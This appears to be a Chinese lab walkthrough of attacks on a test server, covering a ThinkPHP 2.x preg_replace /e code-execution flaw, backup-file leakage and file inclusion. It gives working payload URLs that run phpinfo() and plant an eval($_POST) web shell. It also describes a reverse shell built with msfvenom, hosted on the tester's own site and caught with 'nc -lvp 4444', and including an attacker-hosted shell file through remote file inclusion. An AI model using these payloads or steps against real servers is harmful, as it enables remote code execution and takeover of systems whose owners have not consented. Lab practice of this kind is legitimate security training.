1.Thinkphp2.x 命令执行漏洞环境: 漏洞POC参考:https://www./vuldb/ssvid-93252 ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
1.漏洞payload:http://192.168.137.128/index.php/index/index/name/${@phpinfo()} 实际测试时只要路径满足为3层就会触发命令执行 2.写入shellhttp://192.168.137.128/index.php/1/2/3/${@print(eval($_POST[1]))} 实际页面会报错,但是可以连接getshell 或是直接用命令查看目录和敏感文件(这里是Windows环境) 用msfvenom生成个弹shell程序挂自己网站上 在服务器上先监听nc -lvp 4444 Windows上下载下来后再执行反弹shell
2.网站备份文件泄露没啥好说的
3.远程文件包含修改不存在文件报错,确认是文件包含 远程文件包含,实际测试时只能包含本地服务器上的非php文件 php.ini配置时加了.;是只能包含本地的文件 for inclusion (include_path='.;C:\php5\pear') in C:\phpStudy\WWW\index.php on line 4for inclusion (include_path='.;C:\php5\pear') in C:\phpStudy\WWW\index.php on line 4 其他情况时包含在自己服务器上准备的shell文件,连接就行了 |
|